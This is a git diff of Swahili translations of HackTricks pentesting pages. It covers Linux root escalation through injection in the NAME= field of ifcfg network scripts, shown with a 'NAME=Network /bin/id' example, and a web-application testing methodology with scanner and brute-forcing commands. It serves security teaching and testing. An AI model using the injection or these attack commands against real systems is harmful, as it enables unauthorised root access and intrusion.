**Kumbukumbu ya Udhaifu:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
Ikiwa, kwa sababu yoyote, mtumiaji anaweza **kuandika** skripti ya `ifcf-<chochote>` kwenye _/etc/sysconfig/network-scripts_ **au** anaweza **kurekebisha** ile iliyopo, basi **mfumo wako umedukuliwa**.
|
||||
Ikiwa, kwa sababu yoyote, mtumiaji anaweza **kuandika** skripti ya `ifcf-<chochote>` kwa _/etc/sysconfig/network-scripts_ **au** anaweza **kurekebisha** ile iliyopo, basi **mfumo wako umeshikwa**.
|
||||
|
||||
Skripti za mtandao, kama vile _ifcg-eth0_ kwa mfano hutumiwa kwa ajili ya uhusiano wa mtandao. Zinafanana kabisa na faili za .INI. Walakini, zinasambazwa kwenye Linux na Meneja wa Mtandao (dispatcher.d).
|
||||
Skripti za mtandao, _ifcg-eth0_ kwa mfano hutumiwa kwa ajili ya uhusiano wa mtandao. Zinaonekana kama faili za .INI. Walakini, zinasambazwa kiotomatiki kwenye Linux na Meneja wa Mtandao (dispatcher.d).
|
||||
|
||||
Kwa mfano wangu, sifa ya `NAME=` katika skripti hizi za mtandao haikushughulikiwa kwa usahihi. Ikiwa una **nafasi nyeupe/blank katika jina mfumo unajaribu kutekeleza sehemu baada ya nafasi nyeupe/blank**. Hii inamaanisha kwamba **kila kitu baada ya nafasi nyeupe ya kwanza kinatekelezwa kama root**.
|
||||
Kwa mfano wangu, `NAME=` iliyotolewa katika skripti hizi za mtandao haishughulikiwi kwa usahihi. Ikiwa una **nafasi nyeupe/blank katika jina mfumo unajaribu kutekeleza sehemu baada ya nafasi nyeupe/blank**. Hii inamaanisha kwamba **kila kitu baada ya nafasi nyeupe ya kwanza kinatekelezwa kama root**.
|
||||
|
||||
Kwa mfano: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
```bash
|
||||
|
@ -1373,23 +1374,23 @@ NAME=Network /bin/id
|
|||
ONBOOT=yes
|
||||
DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd, and rc.d**
|
||||
### **init, init.d, systemd, na rc.d**
|
||||
|
||||
Directory `/etc/init.d` ni nyumbani kwa **scripts** za System V init (SysVinit), **mfumo wa usimamizi wa huduma wa Linux wa kisasa**. Inajumuisha scripts za `start`, `stop`, `restart`, na mara nyingine `reload` za huduma. Hizi zinaweza kutekelezwa moja kwa moja au kupitia viungo vya alama za ishara zilizopatikana katika `/etc/rc?.d/`. Njia mbadala katika mifumo ya Redhat ni `/etc/rc.d/init.d`.
|
||||
Directory `/etc/init.d` ni nyumbani kwa **scripts** za System V init (SysVinit), mfumo wa **usimamizi wa huduma wa Linux wa kisasa**. Inajumuisha scripts za `start`, `stop`, `restart`, na mara nyingine `reload` za huduma. Hizi zinaweza kutekelezwa moja kwa moja au kupitia viungo vya alama za ishara zilizopatikana katika `/etc/rc?.d/`. Njia mbadala katika mifumo ya Redhat ni `/etc/rc.d/init.d`.
|
||||
|
||||
Kwa upande mwingine, `/etc/init` inahusishwa na **Upstart**, mfumo mpya wa **usimamizi wa huduma** ulioanzishwa na Ubuntu, ukitumia faili za usanidi kwa kazi za usimamizi wa huduma. Licha ya mpito kwenda Upstart, scripts za SysVinit bado hutumiwa pamoja na mizunguko ya Upstart kutokana na safu ya utangamano katika Upstart.
|
||||
Kwa upande mwingine, `/etc/init` inahusishwa na **Upstart**, mfumo mpya wa **usimamizi wa huduma** ulioanzishwa na Ubuntu, ukitumia faili za usanidi kwa kazi za usimamizi wa huduma. Licha ya mpito kwenda Upstart, scripts za SysVinit bado hutumiwa pamoja na mizunguko ya Upstart kutokana na tabaka la utangamano katika Upstart.
|
||||
|
||||
**systemd** inatokea kama meneja wa kuanzisha na huduma wa kisasa, ikitoa vipengele vya juu kama vile kuanzisha daemone kwa mahitaji, usimamizi wa automount, na picha za hali ya mfumo. Inapanga faili katika `/usr/lib/systemd/` kwa pakiti za usambazaji na `/etc/systemd/system/` kwa marekebisho ya msimamizi, ikisogeza mchakato wa usimamizi wa mfumo.
|
||||
**systemd** inatokea kama meneja wa kuanzisha na huduma wa kisasa, ikitoa vipengele vya juu kama vile kuanzisha daemone kwa ombi, usimamizi wa automount, na picha za hali ya mfumo. Inapanga faili katika `/usr/lib/systemd/` kwa pakiti za usambazaji na `/etc/systemd/system/` kwa marekebisho ya msimamizi, ikipunguza mchakato wa usimamizi wa mfumo.
|
||||
|
||||
## Mbinu Nyingine
|
||||
|
||||
### Kupandisha Hadhi ya Mamlaka kwa NFS
|
||||
### Kupandisha Mamlaka kwa NFS
|
||||
|
||||
{% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %}
|
||||
[nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kutoroka kutoka kwa Mabua Yaliyozuiwa
|
||||
### Kutoroka kutoka kwa Mabaa Yaliyozuiwa
|
||||
|
||||
{% content-ref url="escaping-from-limited-bash.md" %}
|
||||
[escaping-from-limited-bash.md](escaping-from-limited-bash.md)
|
||||
|
@ -1410,9 +1411,9 @@ Kwa upande mwingine, `/etc/init` inahusishwa na **Upstart**, mfumo mpya wa **usi
|
|||
|
||||
[Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries)
|
||||
|
||||
## Zana za Kupandisha Hadhi za Linux/Unix
|
||||
## Zana za Kupandisha Mamlaka za Linux/Unix
|
||||
|
||||
### **Zana bora ya kutafuta vectors za kupandisha hadhi za mamlaka za ndani za Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
### **Zana bora ya kutafuta vectors za kupandisha mamlaka za ndani za Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
|
||||
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo ambayo hayawezi kuhack - **tunakupa kazi!** (_inahitajika uwezo wa kuzungumza na kuandika Kipolishi kwa ufasaha_).
|
||||
Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukuliwa - **tunatoa ajira!** (_inahitajika uwezo wa kuzungumza na kuandika Kipolishi kwa ufasaha_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Taarifa Msingi
|
||||
|
||||
Huduma ya wavuti ni **huduma ya kawaida na pana zaidi** na kuna **aina nyingi za udhaifu**.
|
||||
Huduma ya wavuti ni huduma **ya kawaida na pana zaidi** na kuna **aina nyingi za udhaifu**.
|
||||
|
||||
**Bandari ya chaguo:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
|
@ -45,18 +45,18 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
> Katika methodology hii tutadhani kuwa unakwenda kushambulia kikoa (au subdomain) na hiyo tu. Kwa hivyo, unapaswa kutumia methodology hii kwa kila kikoa kilichogunduliwa, subdomain au IP na seva ya wavuti isiyoeleweka ndani ya wigo.
|
||||
|
||||
* [ ] Anza kwa **kuwatambua** **teknolojia** zinazotumiwa na seva ya wavuti. Tafuta **mbinu** za kuzingatia wakati wa mtihani mwingine ikiwa unaweza kutambua teknolojia kwa mafanikio.
|
||||
* [ ] Anza kwa **kuwatambua** **teknolojia** zinazotumiwa na seva ya wavuti. Tafuta **mbinu** za kuzingatia wakati wa mtihani wa baadaye ikiwa unaweza kutambua teknolojia hiyo kwa mafanikio.
|
||||
* [ ] Kuna **mdhaifu anayejulikana** wa toleo la teknolojia?
|
||||
* [ ] Kutumia **teknolojia inayojulikana**? Mbinu yoyote **yenye manufaa** ya kutoa habari zaidi?
|
||||
* [ ] Kutumia **teknolojia inayojulikana**? Kuna **mbinu muhimu** ya kutoa habari zaidi?
|
||||
* [ ] Kuna **skana maalum** ya kukimbia (kama wpscan)?
|
||||
* [ ] Anzisha **skana za madhumuni ya jumla**. Huwezi kujua ikiwa watapata kitu au ikiwa watapata habari ya kuvutia.
|
||||
* [ ] Anzisha **skana za madhumuni ya jumla**. Huwezi kujua ikiwa zitapata kitu au ikiwa zitapata habari muhimu.
|
||||
* [ ] Anza na **uchunguzi wa awali**: **robots**, **sitema**, **kosa la 404** na **uchunguzi wa SSL/TLS** (ikiwa ni HTTPS).
|
||||
* [ ] Anza **spidering** ukurasa wa wavuti: Ni wakati wa **kupata** faili, folda **zote zinazowezekana** na **parameta zinazotumiwa.** Pia, angalia **ugunduzi maalum**.
|
||||
* [ ] _Tambua kuwa wakati wowote saraka mpya inagunduliwa wakati wa kufanya nguvu ya brute au spidering, inapaswa kusambazwa._
|
||||
* [ ] **Udanganyifu wa Saraka**: Jaribu kufanya nguvu ya brute kwenye folda zilizogunduliwa kutafuta **faili** na **saraka mpya**.
|
||||
* [ ] _Tambua kuwa wakati wowote saraka mpya inagunduliwa wakati wa kufanya nguvu ya brute au spidering, inapaswa kufanyiwa Nguvu ya Brute._
|
||||
* [ ] **Uchunguzi wa Nakala za Akiba**: Jaribu kupata **nakala za akiba** za **faili zilizogunduliwa** kwa kuongeza nyongeza za nakala za akiba za kawaida.
|
||||
* [ ] **Nguvu ya Brute ya Parameta**: Jaribu **kupata parameta zilizofichwa**.
|
||||
* [ ] Anza **spidering** ukurasa wa wavuti: Ni wakati wa **kupata** faili, folda **zote zinazowezekana** na **paramita zinazotumiwa**. Pia, angalia **ugunduzi maalum**.
|
||||
* [ ] _Tambua kuwa wakati wowote saraka mpya inagunduliwa wakati wa kufanya brute-forcing au spidering, inapaswa kusindikizwa._
|
||||
* [ ] **Brute-Forcing ya Saraka**: Jaribu kufanya nguvu zote kwenye folda zilizogunduliwa kutafuta **faili** na **saraka mpya**.
|
||||
* [ ] _Tambua kuwa wakati wowote saraka mpya inagunduliwa wakati wa kufanya brute-forcing au spidering, inapaswa kufanyiwa Brute-Forced._
|
||||
* [ ] **Uchunguzi wa Nakala za Usalama**: Jaribu kutafuta **nakala za usalama** za **faili zilizogunduliwa** kwa kuongeza nyongeza za nakala za kawaida.
|
||||
* [ ] **Brute-Force paramita**: Jaribu **kupata paramita zilizofichwa**.
|
||||
* [ ] Mara tu unapokuwa umetambua **vielelezo vyote vinavyowezekana** vinavyokubali **matokeo ya mtumiaji**, hakikisha kuchunguza aina zote za **mdhaifu** zinazohusiana nayo.
|
||||
* [ ] [Fuata orodha hii ya ukaguzi](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
|
@ -114,21 +114,21 @@ Baadhi ya **mbinu** za kutafuta **mapungufu** katika teknolojia tofauti maarufu
|
|||
* [**WebDav**](put-method-webdav.md)
|
||||
* [**Werkzeug**](werkzeug.md)
|
||||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS hadi RCE)**](electron-desktop-apps/)
|
||||
* [**Programu za Desktop za Electron (XSS hadi RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Chukua kuzingatia kwamba **kikoa kimoja** kinaweza kutumia **teknolojia tofauti** kwenye **bandari** tofauti, **folda** na **subdomains**._\
|
||||
Ikiwa programu ya wavuti inatumia **tech/platform inayojulikana hapo awali** au **nyingine yoyote**, usisahau **kutafuta kwenye Mtandao** mbinu mpya (na niambie!).
|
||||
|
||||
### Mapitio ya Msimbo wa Chanzo
|
||||
### Ukaguzi wa Msimbo wa Chanzo
|
||||
|
||||
Ikiwa **msimbo wa chanzo** wa programu unapatikana kwenye **github**, mbali na kufanya **jaribio la White box test** la programu kwa **yako mwenyewe**, kuna **habari fulani** ambayo inaweza kuwa **ya manufaa** kwa **jaribio la Black-Box** la sasa:
|
||||
|
||||
* Je! Kuna **Faili ya Mabadiliko au Soma au Toleo** au chochote chenye **habari ya toleo inayopatikana** kupitia wavuti?
|
||||
* Vipindi vya **siri** vinahifadhiwa vipi na wapi? Je! Kuna (inayopatikana?) **faili** na vipindi (majina ya watumiaji au nywila)?
|
||||
* Vipi na wapi **vyeti** vinahifadhiwa? Je, kuna (inayopatikana?) **faili** na vyeti (majina ya watumiaji au nywila)?
|
||||
* Je! **Nywila** ziko **kwenye maandishi wazi**, **zimefichwa** au ni **algoritimu ya hashing** ipi inayotumiwa?
|
||||
* Inatumia **ufunguo wa msingi** wowote kwa kufichua kitu? Ni **algoritimu** ipi inayotumiwa?
|
||||
* Je! Unaweza **kupata faili hizi** kwa kutumia kasoro fulani?
|
||||
* Je! Kuna **habari ya kuvutia kwenye github** (zilizopatiwa ufumbuzi na zisizopatiwa ufumbuzi) **masuala**? Au katika **historia ya kujitolea** (labda **nywila iliyoingizwa ndani ya kujitolea la zamani**)?
|
||||
* Je! Inatumia **ufunguo wa msingi** wowote kwa kufichua kitu? Algoritimu ipi inayotumiwa?
|
||||
* Je! Unaweza **kupata ufikiaji wa faili hizi** kwa kutumia kasoro fulani?
|
||||
* Je! Kuna **habari ya kuvutia kwenye github** (zilizotatuliwa na zisizotatuliwa) **masuala**? Au katika **historia ya kujitolea** (labda **nywila iliyoingizwa ndani ya kujitolea cha zamani**)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -136,7 +136,7 @@ Ikiwa **msimbo wa chanzo** wa programu unapatikana kwenye **github**, mbali na k
|
|||
|
||||
### Skana za Kiotomatiki
|
||||
|
||||
#### Skana za Kiotomatiki za kusudi la jumla
|
||||
#### Skana za kiotomatiki za kusudi la jumla
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
|
@ -150,10 +150,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
```
|
||||
#### Skanari za CMS
|
||||
|
||||
Ikiwa CMS inatumika usisahau **kuendesha skanari**, labda kitu cha kuvutia kitapatikana:
|
||||
Ikiwa CMS inatumika usisahau **kuendesha skanari**, labda kitu cha thamani kitapatikana:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** tovuti kwa masuala ya usalama. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** tovuti kwa ajili ya masuala ya usalama. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **au** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
|
@ -167,7 +167,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
## Hatua kwa Hatua Ugunduzi wa Maombi ya Wavuti
|
||||
|
||||
> Kutoka hatua hii tutaanza kuingiliana na maombi ya wavuti.
|
||||
> Kutoka wakati huu tunaanza kuingiliana na maombi ya wavuti.
|
||||
|
||||
### Uchunguzi wa Awali
|
||||
|
||||
|
@ -198,10 +198,10 @@ Ikiwa unagundua kuwa **WebDav** ime **wezeshwa** lakini huna idhini ya kutosha y
|
|||
|
||||
### **Mapungufu ya SSL/TLS**
|
||||
|
||||
* Ikiwa maombi **hayalazimishi matumizi ya HTTPS** kwa sehemu yoyote, basi ni **dhaifu kwa MitM**
|
||||
* Ikiwa maombi yanatuma data nyeti (nywila) kwa kutumia HTTP. Basi ni mapungufu makubwa.
|
||||
* Ikiwa maombi hayalazimishi matumizi ya HTTPS kwa sehemu yoyote, basi ni **dhaifu kwa MitM**
|
||||
* Ikiwa maombi yanatuma data nyeti (nywila) kwa kutumia HTTP. Basii ni mapungufu makubwa.
|
||||
|
||||
Tumia [**testssl.sh**](https://github.com/drwetter/testssl.sh) kuchunguza **mapungufu** (Katika programu za Bug Bounty labda mapungufu kama haya hayatakubalika) na tumia [**a2sv** ](https://github.com/hahwul/a2sv) kuchunguza tena mapungufu:
|
||||
Tumia [**testssl.sh**](https://github.com/drwetter/testssl.sh) kuchunguza **mapungufu** (Katika programu za Bug Bounty labda mapungufu kama haya hayatakubalika) na tumia [**a2sv** ](https://github.com/hahwul/a2sv) kuchunguza upya mapungufu:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -217,37 +217,38 @@ Maelezo kuhusu Udhaifu wa SSL/TLS:
|
|||
|
||||
### Kupata njia
|
||||
|
||||
Zindua aina fulani ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyingi iwezekanavyo** kutoka kwenye programu iliyopimwa. Kwa hivyo, utaftaji wa wavuti na vyanzo vya nje vinapaswa kutumika kupata njia halali kadri iwezekanavyo.
|
||||
Anzisha aina fulani ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyingi iwezekanavyo** kutoka kwenye programu iliyopimwa. Kwa hivyo, utaftaji wa wavuti na vyanzo vya nje vinapaswa kutumika kupata njia halali kadri iwezekanavyo.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider ya HTML, LinkFinder katika faili za JS na vyanzo vya nje (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider ya HML, na LinkFider kwa faili za JS na Archive.org kama chanzo cha nje.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider ya HTML, pia inaonyesha "faili zenye thamani".
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider ya HTML ya CLI ya kuingiliana. Pia hufanya utafutaji kwenye Archive.org
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider ya HTML ya CLI ya kuingiliana. Pia inatafuta kwenye Archive.org
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Zana hii sio spider lakini inaweza kuwa na manufaa. Unaweza tu kuonyesha faili na wenyeji na faili na njia na meg itapata kila njia kwa kila mwenyeji na kuhifadhi jibu.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider ya HTML na uwezo wa kurendera JS. Walakini, inaonekana haijatunzwa, toleo lililopangwa mapema ni la zamani na nambari ya sasa haijatunzwa
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider ya HTML na uwezo wa kurendera JS. Walakini, inaonekana haijatunzwa, toleo lililopangwa mapema ni la zamani na nambari ya sasa haijatengenezwa
|
||||
* [**gau**](https://github.com/lc/gau) (go): Spider ya HTML inayotumia watoa huduma wa nje (wayback, otx, commoncrawl)
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skripti hii itapata URL na parameta na kuziorodhesha.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): Spider ya HTML na uwezo wa kurendera JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider ya HTML, na uwezo wa urembo wa JS unaweza kutafuta njia mpya katika faili za JS. Inaweza kuwa na thamani pia kutazama [JSScanner](https://github.com/dark-warlord14/JSScanner), ambayo ni kifuniko cha LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Kutoa miisho katika chanzo cha HTML na faili za javascript zilizojumuishwa. Inafaa kwa wawindaji wa mdudu, timu nyekundu, na maharamia wa habari.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skripti ya python 2.7 ikitumia Tornado na JSBeautifier kutafsiri URL za kihusika kutoka kwenye faili za JavaScript. Inafaa kwa kugundua kwa urahisi maombi ya AJAX. Inaonekana haijatunzwa.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Kutoa miisho katika chanzo cha HTML na faili za javascript zilizojumuishwa. Inafaa kwa wawindaji wa mdudu, timu nyekundu, na maharamia wa habari za usalama.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skripti ya python 2.7 ikitumia Tornado na JSBeautifier kuchambua URL za kihusika kutoka kwenye faili za JavaScript. Inafaa kwa kugundua kwa urahisi maombi ya AJAX. Inaonekana haijatunzwa.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Ikiwa imepewa faili (HTML) itaondoa URL kutoka kwake kwa kutumia mbinu ya kawaida ya kutafuta na kutoa URL za kihusika kutoka kwa faili zenye urembo (minify).
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, zana kadhaa): Kusanya habari muhimu kutoka kwa faili za JS kwa kutumia zana kadhaa.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Pata faili za JS.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pakia ukurasa katika kivinjari bila kichwa na chapisha URL zote zilizopakiwa kwenye ukurasa.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pakia ukurasa katika kivinjari cha kichwa tupu na chapisha URL zote zilizopakiwa kwenye ukurasa.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Zana ya ugunduzi wa maudhui ikichanganya chaguo kadhaa za zana za awali
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kifuniko cha Burp cha kupata njia na parameta katika faili za JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Zana ambayo ikipewa URL ya .js.map itapata nambari ya JS iliyopambwa
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hii ni zana inayotumiwa kugundua miisho kwa lengo lililopewa.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Gudua viungo kutoka kwa mashine ya wayback (pia kupakua majibu katika wayback na kutafuta viungo zaidi
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Tafuta (hata kwa kujaza fomu) na pia gundua habari nyeti kwa kutumia regex maalum.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni Crawler/Spider ya GUI yenye sifa nyingi ya hali ya juu iliyoundwa kwa wataalamu wa usalama wa wavuti.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ni pakiti ya Go na [zana ya mstari wa amri](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) ya kutoa URL, njia, siri, na data nyingine ya kuvutia kutoka kwa nambari ya chanzo cha JavaScript.
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Tafuta (hata kwa kujaza fomu) na pia gundua habari nyeti kwa kutumia regexes maalum.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni Crawler/Spider ya usalama wa wavuti ya GUI yenye sifa nyingi iliyoundwa kwa wataalamu wa usalama wa cyber.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ni pakiti ya Go na [zana ya mstari wa amri](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) ya kutoa URLs, njia, siri, na data nyingine ya kuvutia kutoka kwa nambari ya chanzo cha JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kifuniko rahisi cha **Burp Suite** cha **kutoa parameta na miisho** kutoka kwa ombi ili kuunda orodha ya maneno ya desturi kwa ajili ya kufanya uchunguzi na uchambuzi.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Zana nzuri kwa hili.
|
||||
|
||||
### Kufanya nguvu kwa kufuatilia na faili
|
||||
### Kufanya nguvu kwa kudhibiti mafaili na saraka
|
||||
|
||||
Anza **kufanya nguvu** kutoka kwenye folda ya msingi na hakikisha kufanya nguvu kwa **folda zote zilizopatikana** kwa kutumia **njia hii** na folda zote **zilizogunduliwa** na **Kupata njia** (unaweza kufanya hii ya kufanya nguvu **kwa njia ya mfululizo** na kuongeza mwanzoni mwa orodha ya maneno iliyotumiwa majina ya folda zilizopatikana).\
|
||||
Anza **kufanya nguvu** kutoka kwenye folda ya msingi na hakikisha kufanya nguvu kwa **saraka zote zilizopatikana** kwa kutumia **njia hii** na saraka zote **zilizogunduliwa** na **Kupata njia** (unaweza kufanya hii ya kufanya nguvu **kwa njia ya mfululizo** na kuongeza mwanzoni mwa orodha ya maneno iliyotumiwa majina ya saraka zilizopatikana).\
|
||||
Zana:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Imejumuishwa katika Kali, **zamani** (na **polepole**) lakini inafanya kazi. Inaruhusu vyeti vilivyosainiwa kiotomatiki na utaftaji wa mfululizo. Polepole sana ikilinganishwa na chaguo zingine.
|
||||
|
@ -257,7 +258,7 @@ Zana:
|
|||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Haraka: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Hii sio spider lakini zana ambayo ikipewa orodha ya URL zilizopatikana itafuta URL "zilizodondolewa".
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Kifuniko cha Burp cha kuunda orodha ya folda kutoka kwa historia ya burp ya kurasa tofauti
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Kifuniko cha Burp cha kuunda orodha ya saraka kutoka kwa historia ya burp ya kurasa tofauti
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Ondoa URL zenye utendaji uliodondolewa (kulingana na uingizaji wa js)
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Inatumia wapalyzer kugundua teknolojia zilizotumiwa na kuchagua orodha za maneno za kutumia.
|
||||
|
||||
|
@ -280,70 +281,70 @@ Zana:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Tafadhali kumbuka kwamba wakati wowote directory mpya inagunduliwa wakati wa brute-forcing au spidering, inapaswa kufanyiwa Brute-Force._
|
||||
_Tafadhali kumbuka kwamba wakati wowote directory mpya inagunduliwa wakati wa kufanya brute-forcing au spidering, inapaswa kufanyiwa Brute-Force._
|
||||
|
||||
### Mambo ya kuangalia kwenye kila faili inayopatikana
|
||||
|
||||
* [**Mchunguzi wa viungo vilivyovunjika**](https://github.com/stevenvachon/broken-link-checker): Pata viungo vilivyovunjika ndani ya HTML ambavyo vinaweza kuwa rahisi kuchukuliwa
|
||||
